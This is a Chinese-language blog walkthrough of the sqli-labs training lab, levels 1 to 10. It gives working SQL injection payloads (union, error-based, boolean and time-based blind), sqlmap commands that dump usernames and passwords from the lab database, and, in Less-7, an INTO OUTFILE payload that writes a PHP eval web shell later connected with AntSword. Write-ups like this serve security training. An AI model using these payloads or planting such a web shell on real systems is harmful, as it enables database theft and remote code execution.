sqli-labs靶场练习Less-1~10

sqli-labs靶场练习


SQL注入练习
靶场环境:BUUOJ
(前期自己本地使用phpstudy搭建的,后来使用buuctf)

Less1·UE

源码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

测试闭合方法
先看错误信息(如果有),输入id=1'报错
1

单独拿出来''1'' LIMIT 0,1'
把最外面引号去掉得到'1'' LIMIT 0,1
===我们刚才输入的 ' 应该就是1后面多出来的那个单引号
验证一下:?id=1)'
错误信息是'1)'' LIMIT 0,1
由此可以想到select * from xxx where id='$id' LIMIT 0,1
使用or闭合一下试试?id=1' or '1'='1
这样闭合后是这样的

select * from xxx where id='1' or '1'='1' LIMIT 0,1

所以语句正确的,可以正常查询
2

结论:使用单引号闭合

1. 联合注入

?id=-1’ union select 1,2,3--+

判断注入点:
?id=1正常
3
id=1’发现报错
4
试一下注释符--+-- -可以用,这里用--+
5

这个时候就可以大致猜到后台查询数据库的语句

select * from xxx where id='$id' LIMIT 0,1

然后使用order by看列数

?id=1‘order by 8--+报错
?id=1‘order by 4--+报错
?id=1‘order by 2--+正常
?id=1‘order by 3--+正常

6

当使用order by 3的时候正常,使用order by 4的时候报错,说明有三列数据
查完列数后,注意后面修改 i为非正确值,使用union select查询数据库表信息
union select看返回值
构造payload:
?id=-1' union select 1,2,3--+
2,3存在回显
7
查库名payload:
?id=-1'union select 1,2,database()--+
数据库名字:security
8
查表名payload:
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
9

由于多行数据只能在一个显示框子里面(就是Your Password:)使用group_concat可以在一起显示,中间加隔开
查出的表名,其中users最可疑,看看内容

查字段payload:
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
10

id,username,password这些都是users表中的字段名
这里看username,password的字段值

查值payload:
?id=-1'union select 1,2,group_concat(username,0x3a,password) from users--+
11

YourPassword:Dumb:123a,Angelina:123a,Dummy:123a,secure:123a,stupid:123a,superman:123a,batman:123a,admin:011,admin1:123a,admin2:123a,admin3:123a,dhakkan:123a,admin4:123a,admin'#:123456

[注] 0x3a:0x是十六进制的标志,3a是十进制的58,是ascii中的':',用以分割password和username


2. 报错注入

2.1 updatexml

爆库名

?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

12

爆表名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

13

爆字段名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

14

爆值

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+

15

注意这里不能全部显示,可以加where id=6之类的限制条件逐个查看

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where id=6),0x7e),1)--+

16

2.2 extructvalue()

爆数据库名
?id=-1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
注意:对比extractvalue(1,concat())====updatexml(1,concat(),1)
17

//时间注入和布尔盲注手工麻烦,后面用到了再用

3. sqlmap注入

参数

-u "http://xxxx.com/?id=1"
--technique BEUSTQ 指定注入类型:Boolean/Error/Union/Time/。。。
-a, --all 检索全部
-b, --banner 检索 banner
--current-user 检索当前用户
--current-db 检索当前数据库
--passwords 列出用户密码的hash值
--tables 列出表
--columns 列出字段
--schema 列出DBMS schema
--dump Dump DBMS数据库表的条目
--dump-all Dump 所有DBMS数据库表的条目
--dbms mysql 指定数据库类型
-D security 指定数据库名
-T users 指定表名
-C id,username,password 指定字段名,多个的时候用逗号隔开
--batch 永远不要要求用户输入,使用默认行为
--data=DATA 数据字符串通过POST发送
--cookie=COOKIE HTTP Cookie的值
--level=LEVEL 执行的测试级别(1-5, 默认 1)
--risk=RISK 执行测试的风险 (1-3, 默认 1)

这里使用union注入
爆库名

sqlmap -u "http://192.168.1.218/sqli-labs-master/Less-1/?id=1" --current-db --technique U

18
爆表名

sqlmap -u "http://192.168.1.218/sqli-labs-master/Less-1/?id=1" --dbms mysql --technique U -D security --tables

19
爆字段名

sqlmap -u "http://192.168.1.218/sqli-labs-master/Less-1/?id=1" --dbms mysql --technique U -D security -T users --columns

20
爆值

sqlmap -u "http://192.168.1.218/sqli-labs-master/Less-1/?id=1" --dbms mysql --technique U -D security -T users -C id,username,password --dump

21



Less2·U

没有闭合符号

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

$id不带引号,和第一关只有一个引号的区别

1.UNION联合注入

?id=-1 union select 1,2,3--+

2.1

爆值:payload

?id=-1 union select 1,2,group_concat(username,0x3a,password) from users--+

2.2


Less3·U

测试闭合符号:
?id=1'
得到'1'') LIMIT 0,1
?id=1') or ('1'='1正常
==>闭合符号为')

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

注意括号

?id=-1') union select 1,2,3--+
3.1

和前面有个括号的区别


Less4·U

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

闭合符号为")

?id=-1")union select 1,2,3--+

后面操作同 前 关卡


Less5·E

闭合符号:'
?id=1'order by 3--+正确,4错误
列为3
使用?id=1'union select 1,2,3--+无显示位
5.1
试一下报错注入成功

?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

5.2

后面操作就和Less1的一样了
这里可以使用extractvalue()报错回显


Less6·E

闭合符号:"

同上


Less7·U+into outfile

闭合:'))
?id=1提示outfile
7.1
使用outfile之前要查看一下phpstudy的mysq文件读写权限

1. 设置phpstudy读写文件权限

在mysql中输入

show variables like '%secure%';

查看secure-file-priy当前的值,如果是NULL,则需要在phpstudy\MySQL\my.ini文件添加:secure_file_priv="/"
7.2

我的my.ini文件路径为C:\phpStudy\PHPTutorial\MySQL

7.3
添加后保存,然后重启一下服务就可以了
7.4

2.into outfile写文件

union注入可以使用

?id=1')) union select 1,2,3--+

7.5
使用方法为

select 1,2,"<?php @eval($_POST['change']);?>" into outfile "XXX\test.php"

payload

?id=1')) union select 1,2,"<?php @eval($_POST['change']);?>" into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\1.php"--+

select 1,2,"<?php @eval($_POST['change']);?>"输出结果保存到C:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\1.php

7.6

虽然报错了,但是文件已经成功写入
7.7

3. 蚁剑连接

7.8
成功连接
7.9


Less8·B

闭合:'

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

布尔型盲注
先猜数据库名字长度,>=8时不报错,>=9时报错

?id=1' and length(database())>=9--+

8.1
8.2
所以可以判断出数据库名字长度为8

开始猜数据库名字,从第一个字母开始猜
数据库名字的范围一般在az、09之间
函数说明:
8.3
参考https://zhuanlan.zhihu.com/p/110142732

开始测试

?id=1' and substr(database(),1,1)='s'--+

第一个字符为s

1. 使用burpsuite爆破猜解

这里可以使用burpsuite,生成字典0-9和a-z

8.4
8.5
得到首字母s...
第二个字符e

?id=1' and substr(database(),2,1)='e'--+

8.6
最后得到数据库名字为security

后面太麻烦了,使用sqlmap操作

2. sqlmap

--technique指定sql注入类型
B:基于Boolean的盲注(Boolean based blind
Q:内联查询(inlin queries)
T:基于时间的盲注(time based blind
U:联合查询(union query based
E:错误(error based) S:栈查询(stack queries)

sqlmap -u "192.168.1.218/sqli-labs-master/Less-8/?id=1" --technique B --dbms mysql --current-db

得到数据库名字

8.7

sqlmap -u "192.168.1.218/sqli-labs-master/Less-8/?id=1" --technique B --dbms mysql -D security --tables
8.8
后面太慢了,不跑了
sqlmap -u "192.168.1.218/sqli-labs-master/Less-8/?id=1" --technique B --dbms mysql -D security -T users --columns

sqlmap -u "192.168.1.218/sqli-labs-master/Less-8/?id=1" --technique B --dbms mysql -D security -T users -C username,password --dump


Less9·T

闭合:'

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

基于时间的盲注,使用if()函数

1. 注入点判断

and sleep(5)--+如果页面卡了5秒,则该点存在注入

9.1
参考https://blog.csdn.net/wang704987562/article/details/80753954

这里使用if(length(database())>1,sleep(5),1),

语句意思就是如果数据库名字长度大于1,那就执行时间为5秒,如果长度小于等于1,那就返回1

?id=1' and if(length(database())>1,sleep(5),1)--+

执行后可以明显看出来浏览器执行时间特别长,所以长度大于1是对的。

2. 使用sqlmap

--technique T指定sql注入类型为time

sqlmap -u "192.168.1.218/sqli-labs-master/Less-9/?id=1" --technique T --dbms mysql --current-db

9.2
等一会就能跑全了

Less10·T

闭合:"

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

和第九关有一个双引号的区别

posted @ 2020-10-23 21:08  ch4nge  阅读(788)  评论(0)    收藏  举报